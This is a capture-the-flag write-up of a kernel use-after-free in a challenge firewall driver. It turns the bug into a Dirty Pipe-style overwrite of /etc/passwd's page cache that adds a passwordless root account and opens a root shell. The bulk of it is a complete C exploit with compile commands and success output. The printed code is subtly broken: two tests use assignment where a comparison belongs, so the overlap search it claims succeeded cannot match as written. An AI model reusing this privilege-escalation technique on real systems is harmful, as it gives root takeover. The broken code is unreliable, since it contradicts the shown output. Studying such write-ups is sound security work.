Through the Wall: a kernel UAF turned into a Dirty Pipe-style write

Kernel exploits often end with a KASLR leak, a ROP chain, and a call to commit_creds(). Through the Wall takes a shorter route. A dangling firewall rule gives us read and write access to a freed kmalloc-1k object. Reclaim that object with a pipe ring, change four bytes, and the normal pipe write path will modify the page cache of /etc/passwd.

This is a write-up of the b01lers CTF 2026 challenge. Everything below runs in the disposable challenge VM. The exploit intentionally corrupts /etc/passwd; rebooting the VM restores it.

Starting point

The VM boots with KASLR, SMEP, SMAP, and PTI enabled. The module exposes a world-writable /dev/firewall device with four ioctl commands:

#define FW_ADD_RULE  _IOW('F', 1, char[0x100])
#define FW_DEL_RULE  _IOW('F', 2, int)
#define FW_EDIT_RULE _IOW('F', 3, struct fw_req)
#define FW_SHOW_RULE _IOR('F', 4, struct fw_req)

Reversing the add path gives this internal object:

struct firewall_rule {
    uint32_t src_ip;   // +0x00
    uint32_t dst_ip;   // +0x04
    uint16_t dport;    // +0x08
    uint16_t action;   // +0x0a
    char desc[0x3f4];  // +0x0c
};                     // 0x400 bytes

The parser expects a string in this format:

<src_ip> <dst_ip> <dport> <action> <description>

For exploitation, I only care about its size: 0x400 bytes.

The dangling rule

The delete handler frees a rule but leaves its address in the global array:

kfree(rules[idx]);
// missing: rules[idx] = NULL;

The allocation is gone, but the index still passes the driver's checks:

rules[idx] -> freed 0x400-byte allocation

FW_SHOW_RULE and FW_EDIT_RULE continue to use that address. Their request contains an offset and a length:

struct fw_req {
    uint32_t idx;
    uint32_t pad;
    uint64_t off;
    uint64_t size;
    char data[0x400];
};

Conceptually, the interesting part of the edit path is:

memcpy((char *)rules[req.idx] + req.off, req.data, req.size);

Before deletion, that edits a firewall rule. After deletion, it edits whatever object the allocator places at the same address. FW_SHOW_RULE gives us the matching stale read.

Finding a compatible heap object

The rule comes from kmalloc-1k. I want a useful kernel object that can land in that same cache, and pipe_buffer fits:

struct pipe_buffer {
    uint64_t page;       // +0x00
    uint32_t offset;     // +0x08
    uint32_t len;        // +0x0c
    uint64_t ops;        // +0x10
    uint32_t flags;      // +0x18
    uint32_t pad;        // +0x1c
    uint64_t private;    // +0x20
};                       // 0x28 bytes

The default pipe ring has 16 entries on this kernel:

16 * 0x28 = 0x280 bytes

The allocator rounds that request into kmalloc-1k, the same cache as the freed firewall rule:

rules[hit_rule] -> reclaimed kmalloc-1k allocation
                   +0x000 pipe_buffer[0]
                   +0x028 pipe_buffer[1]
                   +0x050 pipe_buffer[2]
                   ...

pipes[hit_pipe] -> the same pipe ring

No pipe resizing is needed here. That matters because many pipe-buffer UAF write-ups target a much smaller freed object and use F_SETPIPE_SZ to move the ring into another slab cache.

Turning a heap spray into a known pipe

Spraying pipe rings may reclaim the rules, but I still need to know which userspace pipe matches which stale rule. I use pipe_buffer.len as a tag:

for (int i = 0; i < PIPE_COUNT; i++) {
    pipe(pipes[i]);
    write(pipes[i][1], tags, i + 1);
}

The writes produce:

pipe 0  -> pipe_buffer[0].len = 1
pipe 1  -> pipe_buffer[0].len = 2
...
pipe 75 -> pipe_buffer[0].len = 76

I scan every stale rule with FW_SHOW_RULE. A plausible anonymous pipe buffer has kernel-looking page and ops pointers, offset zero, a tag-sized len, and PIPE_BUF_FLAG_CAN_MERGE set. Once one is found, the pipe number falls out of the length:

hit_pipe = pb.len - 1;

For example, a leaked length of 76 identifies pipes[75]. This removes the usual "spray everything and write to every pipe" guesswork.

The tag stays in slot 0. I initially drained it in my PoC, but that did nothing useful. The first write() already moved the ring head from slot 0 to slot 1, so the next buffer will use slot 1 either way.

Putting /etc/passwd in slot 1

I open /etc/passwd read-only and splice one byte at file offset zero into the selected pipe:

int passwd = open("/etc/passwd", O_RDONLY);
off_t file_offset = 0;
splice(passwd, &file_offset, pipes[hit_pipe][1], NULL, 1, 0);

The pipe now looks like this:

slot 0: anonymous tag
        len   = hit_pipe + 1
        flags = 0x10

slot 1: file-backed byte from /etc/passwd
        offset = 0
        len    = 1
        flags  = 0

Slot 1's page points to the page-cache page for /etc/passwd. The single spliced byte is the r at the start of root.

The four-byte write

FW_EDIT_RULE does not have special support for pipe flags. It is a stale offset-write into the reclaimed allocation, and I choose an offset that lands on pipe_buffer[1].flags:

slot 1                         1 * 0x28 = 0x28
flags inside struct pipe_buffer            0x18
                                           ----
stale write offset                         0x40

The exploit calculates this rather than hardcoding 0x40:

size_t slot1_flags = sizeof(struct pipe_buffer) +
                     offsetof(struct pipe_buffer, flags);

uint32_t can_merge = PIPE_BUF_FLAG_CAN_MERGE;
fw_edit(fw, hit_rule, slot1_flags, &can_merge, sizeof(can_merge));

That call writes four bytes with the value 0x10. Different offsets could overwrite page, len, ops, or another slot. I only touch flags because the exploit needs nothing else.

Why some write-ups increment a refcount 16 times

Another common version of this technique starts with a small metadata object whose refcount happens to sit at offset 0x18. After a pipe buffer reclaims it, the old increment operation aliases pipe_buffer.flags:

old_object->refcount++  at +0x18
pipe_buffer->flags++    at +0x18

Starting from zero, sixteen increments produce 0x10. Through the Wall has a stronger primitive, so none of that is necessary:

| Primitive | Refcount-based UAF | Through the Wall | | --- | --- | --- | | Available write | Increment one fixed field | Copy chosen bytes at a chosen offset | | Target buffer | Usually slot 0 | Slot 1, because slot 0 contains our tag | | Set flags | 16 increment calls | One four-byte FW_EDIT_RULE call | | Find the pipe | Often GDB or trying every pipe | Leak the tagged len |

From this point on, both exploits use the same page-cache trick. They just take different paths to PIPE_BUF_FLAG_CAN_MERGE.

Merging into the page cache

A normal file-backed pipe buffer has flags zero. A later write() therefore creates an anonymous buffer instead of changing the file page. Once we set PIPE_BUF_FLAG_CAN_MERGE, the pipe write path appends to the most recent buffer.

Slot 1 describes one byte at file offset zero, so its end is:

offset + len = 0 + 1 = 1

The next pipe write starts at /etc/passwd offset 1. The original r remains at offset zero, which is why the payload starts with oot:

const char root_entry[] = "oot::0:0:root:/root:/bin/sh\n";
write(pipes[hit_pipe][1], root_entry, sizeof(root_entry) - 1);

The page cache now contains:

root::0:0:root:/root:/bin/sh

The empty password field lets su - create a root shell. The newline in the payload terminates the shortened root record; without it, bytes from the old line remain attached and passwd parsing fails.

This is Dirty Pipe-style exploitation, not a second trigger for CVE-2022-0847. The original bug accidentally preserved merge flags. Here the firewall UAF sets the flag directly.

The page-cache change also is not a normal filesystem write. The kernel does not mark the page dirty through this path, so the modified view disappears after reboot.

Minimal exploit

This is the complete PoC used for the challenge:

#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>

struct fw_req {
    uint32_t idx;
    uint32_t pad;
    uint64_t off;
    uint64_t size;
    char data[0x400];
};

struct pipe_buffer {
    uint64_t page;
    uint32_t offset;
    uint32_t len;
    uint64_t ops;
    uint32_t flags;
    uint32_t pad;
    uint64_t private;
};

_Static_assert(sizeof(struct fw_req) == 0x418, "bad fw_req size");
_Static_assert(sizeof(struct pipe_buffer) == 0x28, "bad pipe_buffer size");

#define FW_ADD_RULE  _IOW('F', 1, char[0x100])
#define FW_DEL_RULE  _IOW('F', 2, int)
#define FW_EDIT_RULE _IOW('F', 3, struct fw_req)
#define FW_SHOW_RULE _IOR('F', 4, struct fw_req)

#define PIPE_BUF_FLAG_CAN_MERGE 0x10
#define RULE_COUNT 64
#define PIPE_COUNT 96

#define SAFE(expr) ({                                                \
    __auto_type ret = (expr);                                        \
    if (ret < 0) {                                                   \
        fprintf(stderr, "[-] %s: %s\n", #expr, strerror(errno));    \
        exit(EXIT_FAILURE);                                          \
    }                                                                \
    ret;                                                             \
})

static int fw_add(int fd) {
    char rule[0x100]= "1.1.1.1 2.2.2.2 80 0 VICTIM";
    return ioctl(fd, FW_ADD_RULE, rule);
}

static int fw_del(int fd, uint32_t idx) {
    return ioctl(fd, FW_DEL_RULE, idx);
}

static int fw_show(int fd, uint32_t idx, uint64_t off,
                   void *out, size_t size) {
    struct fw_req req= {.idx= idx, .off= off, .size= size};
    int ret= ioctl(fd, FW_SHOW_RULE, &req);

    if (ret= 0)
        memcpy(out, req.data, size);
    return ret;
}

static int fw_edit(int fd, uint32_t idx, uint64_t off,
                   const void *data, size_t size) {
    struct fw_req req= {.idx= idx, .off= off, .size= size};

    memcpy(req.data, data, size);
    return ioctl(fd, FW_EDIT_RULE, &req);
}

static int kernel_pointer(uint64_t address) {
    return (address >> 48) == 0xffff;
}

int main(void) {
    int fw = SAFE(open("/dev/firewall", O_RDWR));
    int stale[RULE_COUNT];
    int pipes[PIPE_COUNT][2];
    char tags[PIPE_COUNT];
    memset(tags, 'A', sizeof(tags));

    puts("[*] create dangling firewall rules");
    for (int i = 0; i < RULE_COUNT; i++)
        stale[i]= SAFE(fw_add(fw));
    for (int i= 0; i < RULE_COUNT; i++)
        SAFE(fw_del(fw, stale[i]));

    puts("[*] reclaim them with tagged pipes");
    for (int i= 0; i < PIPE_COUNT; i++) {
        SAFE(pipe(pipes[i]));
        SAFE(write(pipes[i][1], tags, (size_t)i + 1));
    }

    int hit_rule= -1;
    int hit_pipe= -1;
    struct pipe_buffer pb= {0};

    puts("[*] find a rule/pipe overlap");
    for (int i= 0; i < RULE_COUNT; i++) {
        SAFE(fw_show(fw, stale[i], 0, &pb, sizeof(pb)));
        if (pb.offset= 0 && pb.len >= 1 && pb.len <= PIPE_COUNT &&
            kernel_pointer(pb.page) && kernel_pointer(pb.ops) &&
            (pb.flags & PIPE_BUF_FLAG_CAN_MERGE)) {
            hit_rule= stale[i];
            hit_pipe= (int)pb.len - 1;
            break;
        }
    }

    if (hit_rule < 0) {
        puts("[-] no overlap found; reboot the VM and retry");
        return EXIT_FAILURE;
    }
    printf("[+] stale rule %d overlaps pipe %d\n", hit_rule, hit_pipe);

    int passwd= SAFE(open("/etc/passwd", O_RDONLY));
    off_t file_offset= 0;
    SAFE(splice(passwd, &file_offset, pipes[hit_pipe][1], NULL, 1, 0));

    const size_t slot1_flags= sizeof(struct pipe_buffer) +
                               offsetof(struct pipe_buffer, flags);
    uint32_t can_merge= PIPE_BUF_FLAG_CAN_MERGE;
    SAFE(fw_edit(fw, hit_rule, slot1_flags, &can_merge, sizeof(can_merge)));

    const char root_entry[]= "oot::0:0:root:/root:/bin/sh\n";
    SAFE(write(pipes[hit_pipe][1], root_entry, sizeof(root_entry) - 1));
    puts("[+] /etc/passwd changed through the page cache; starting su");

    SAFE(close(passwd));
    SAFE(close(fw));
    return system("su -");
}

Compile it statically and run it in a fresh VM:

gcc -static -O2 -Wall -Wextra -o poc exp.c
./poc

A successful run looks like this:

[*] create dangling firewall rules
[*] reclaim them with tagged pipes
[*] find a rule/pipe overlap
[+] stale rule 0 overlaps pipe 75
[+] /etc/passwd changed through the page cache; starting su

The exploit in one memory map

rules[hit_rule]
      |
      v
freed firewall_rule (0x400)
      |
      | reclaimed by pipe ring
      v
+0x00 pipe_buffer[0]  anonymous tag, len identifies hit_pipe
+0x28 pipe_buffer[1]  /etc/passwd page, offset=0, len=1
+0x40                  flags = 0x10
      |
      | next pipe write merges at file offset 1
      v
page cache: root::0:0:root:/root:/bin/sh
      |
      v
su -

References: